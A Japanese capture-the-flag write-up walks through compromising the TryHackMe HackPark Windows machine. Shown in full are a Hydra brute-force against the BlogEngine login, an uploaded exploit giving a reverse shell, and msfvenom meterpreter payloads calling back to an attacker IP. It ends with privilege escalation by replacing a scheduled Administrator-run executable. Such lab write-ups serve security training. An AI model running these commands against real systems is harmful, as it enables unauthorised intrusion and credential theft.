12th LAB

👩🏿‍💻TryHackMeのHackParkを攻略する

今回はTryHackMeのHackParkを攻略していきます。

このHackParkはWindowsマシンのハッキングでHydra、リバースシェル、Metasploit、WinPEASを使います。

Webアプリケーションの確認

image block

ログイン画面が見つかりました。BlogEngineというCMSを使っているようです。

image block

Hydra でのブルートフォース

hydraはコマンドを作るのが難しいです。

まず、基本的なフォーマットはこちらです。

hydra -l <username> -P <wordlist> <IPaddress> http-post-form <login request pattern>

パラメータは下記を使います。

usernaemはTryHackMeにあるとおり、adminを使います。

項目名
username admin
wordlist /usr/share/wordlists/rockyou.txt
IPaddress 環境に合わせて設定

ここまででコマンドはこうなります。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.153.214 http-post-form <login request pattern>

あとはlogin request patternですが、hydraで一番難しいのがここです。

この部分のフォーマットはこちらです。

"<ログイン フォームへのパス>:<本文、マジック文字列 ^USER^ と ^PASS^>:<無効なログインに表示されるパターン>"

ログインフォームへのパスは /Account/login.aspx です。

そして無効なログインのときのメッセージは Login failed です。

image block

最後のリクエスト本体ですが、これはBurpSuiteを使って取得します。

image block

取得したら14行目がリクエストの本体になります。

__VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=TEST&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in

あとはこのリクエストのユーザ名とパスワード部分をそれぞれ ^USER^ と ^PASS^ に書き換えます。ユーザ名とパスワード部分を書き換えて一部抽出したのがこちらです。

UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^

ログインリクエストのパラメータ

項目名
PATH /Account/login.aspx
BODY __VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
PATTERN Login failed

そして最終的なコマンドがこちらです。

このコマンドで実行してみましょう。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.153.214 http-post-form "/Account/login.aspx:__VIEWSTATE=bqueTnNHuZZ7CkJ2c3xibYKLQ4ovjRvFgOftWoJPdtZMmGuEPua0dxaOoJeRO9MW2lxTGXpN%2FjMGMnNn1U6t6Y0LdXNVpiRbsGYuCEqdlj2LlnC9UH7yijiIDnkDM4tre9goVYDp2QrZG4%2F2SU6IRvQIxBuzduimQ7kb5wChAq6oLntdelPH2e0xhpFmTRfELnLygG9QKBsMLjBL5AC%2FywKM4%2F2aV2XssxCbT5h%2FwVRIqrMMjvu1O7OXJaNW7B8jzD8SWzkEeKjH4u5DqxAE40Zgvk7sVNsEe9n1yyQh6aNczR%2FPlOKnaaTunkqo2FNf%2B6Vcct6CZbOCR56puSMmFdvLtMPolNBc3FVWSQ7JTewU3dIq&__EVENTVALIDATION=0pvSZWgh9G2ASIg3Qk5G6c4c%2Fl2seWLV99ObImDKroGHB1xDSw4c1M%2B292lzEoZYpI6c2kDn45L3CXX%2B24nNbpJdkNY6S3m5FZ82%2BZL7AsO7Uj9WU%2FdEmHtD5uhRzYApqSXMKkSFfHBWGe%2BbzOG%2BEO9ud8lOe%2F%2Bh%2FlUNBcfoYNeHUwll&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

image block

成功しました。ユーザ名とパスワードが分かりました。

管理画面の調査

さっそくユーザ名とパスワードを使ってログインしていきます。

ログインできましたね。

image block

メニューからAboutを移動すると、BlogEngineのバージョンが書かれていました。

image block

SearchSploit を使用して BlogEngine 3.3.6 の脆弱性を特定します。

※ Metasploit でも検索しましたが一致するものはありませんでした。

image block

いくつか見つかりました。さっそく一番上のファイルをダウンロードして見てみます。

image block

ファイルを見てみるとCVE番号や攻撃方法が書かれていました。

image block

脆弱性を悪用するために必要な手順を確認します。

  • エクスプロイト内のローカル IP アドレスポートを修正する
  • エクスプロイトの名前を PostView.ascx に変更する
  • BlogEngine のファイル マネージャーを介してエクスプロイトをアップロードする
  • ローカルホストでの Netcat リスナーのセットアップ
  • ブラウザから /App_Data/files にアクセスしてリバース シェルで接続する

$ mv 46353.cs PostView.ascx
$ vi PostView.ascx
ローカル IP アドレスとポートを修正する

image block

ファイルマネージャから PostView.ascx をアップロードします。

image block

アップロード!

image block

$ nc -lvnp 4445

image block

ブラウザから実行

上手くいくとリバースシェルで侵入できます。

http://10.10.153.214/?theme=../../App_Data/files

image block

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.4.27.91 LPORT=4446 -e x86/shikata_ga_nai -f exe -o reverse.exe
image block

PythonでHTTPサーバを起動します。

image block

tempディレクトリに移動して reverse.exe をダウンロードします。

image block

モジュールを選択して、パラメータを設定します。

image block

image block

run を実行し、待ち受けポートを作成します。

image block

ダウンロードした reverse.exe を実行します。

image block

成功するとMetasploit 経由のリバースシェルで接続できます。

image block

sysinfo コマンドを実行します。

image block

侵入しているマシンでwinPEASを実行して権限昇格の糸口を探します。

そのため、ローカルホストのブラウザからwinPEASをダウンロードした後、winPEAS64.exe を侵入先のマシンにアップロードします。

image block

winPEASx64.exe servicesinfo

image block

C:\Program Files (x86)\SystemScheduler に移動します。

image block

Eventsディレクトリに移動します。

image block

ログファイルを見ると、30秒ごとに Message.exe がAdministorator 権限で実行されています。

image block

ターミナルで別タブを開き、手元の端末でリバースシェルのコードが仕込まれているMessage.exe を作成します。

$ msfvenom -p windoes/metapreter/reverse_tcp LHOST=10.4.27.91 LPORT=4447 -e x86/shikata_ga_nai -f exe -o Message.exe
image block

侵入先の端末にあるMessage.exeのファイル名を変更します。

その後にさきほど作成したリバースシェルが含まれたMessage.exeをアップロードします。

$ mv Message.exe Message1.exe
$ upload /home/sec12ban/Documents/12ban/hackpark/Message.exe
image block

現在のmeterpreterセッションをバックグラウンドに変更します。その後、待ち受けポートを作成します。

meterpreter > bg
> use exploit/multi/handler
> set LHOST tun0
> set LPORT 4447
image block

Administoratorに昇格できました。30秒ごとにMessage.exeが実行されているため、30秒待つとリバースシェルで接続できます。その後に、getuidコマンドでユーザ名を確認するとAdministrator権限になっています。

image block

後は user.txt root.txt を探して中身を確認して終わりです。

image block